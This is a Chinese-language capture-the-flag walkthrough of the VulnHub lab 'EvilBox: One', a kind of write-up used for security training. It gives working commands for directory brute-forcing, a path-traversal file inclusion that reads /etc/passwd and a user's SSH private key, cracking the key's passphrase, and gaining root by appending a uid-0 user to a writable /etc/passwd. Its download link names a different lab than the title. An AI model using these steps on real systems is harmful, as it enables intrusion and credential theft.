- 英文名称:EVILBOX: ONE
- 中文名称:邪恶盒子:一
- 发布日期:2021 年 8 月 16 日
- 难度:容易
- 描述:这适用于 VirtualBox 而不是 VMware。
- 下载地址:
https://www.vulnhub.com/entry/empire-breakout,751/
1、主机发现(192.168.199.144)

2、端口扫描(22、80)

3、目录发现
[19:51:35] 200 - 12B - /robots.txt
[19:51:35] 301 - 319B - /secret -> http://192.168.199.144/secret/
4、寻找线索

5、访问,空白

6、继续暴力破解
gobuster dir -u http://192.168.199.144/secret/ -w /usr/share/wordlists/dirb/big.txt -x .php
7、访问,继续空白

8、暴力破解参数
ffuf -u 'http://192.168.199.144/secret/evil.php?FUZZ=../../../../../etc/passwd' -w "/usr/share/wordlists/dirbuster/directory-list-2.3-small.txt" -fs 0
9、访问,找到用户名 mowree

10、利用文件包含,去找密码
http://192.168.199.144/secret/evil.php?command=/home/mowree/.ssh/id_rsa
11、尝试登录,需要密码(被 passphrase 保护)
ssh -i id_rsa mowree@192.168.199.144
12、john 暴力破解,得到密码 unicorn
ssh2john id_rsa > password
john --show password
13、再次登录

14、/etc/passwd 具有写权限

15、生成123基于MD5的密码
mowree@EvilBoxOne:~$ openssl passwd -help
Usage: passwd [options]
Valid options are:
-help Display this summary
-in infile Read passwords from file
-noverify Never verify when reading password from terminal
-quiet No warnings
-table Format output as table
-reverse Switch table columns
-salt val Use provided salt
-stdin Read passwords from stdin
-6 SHA512-based password algorithm
-5 SHA256-based password algorithm
-apr1 MD5-based password algorithm, Apache variant
-1 MD5-based password algorithm
-aixmd5 AIX MD5-based password algorithm
-crypt Standard Unix password algorithm (default)
-rand val Load the file(s) into the random number generator
-writerand outfile Write random data to the specified file
16、向passwd 写入用户ailx00的信息(注意是单引号),成功拿到root的flag
echo 'ailx00:$1$Tuse491W$mmxvOkGDQHibl4DzhH3Fe1:0:0:root:/root:/bin/bash' >> /etc/passwd
到此,实验完成~
1081

被折叠的 条评论
为什么被折叠?



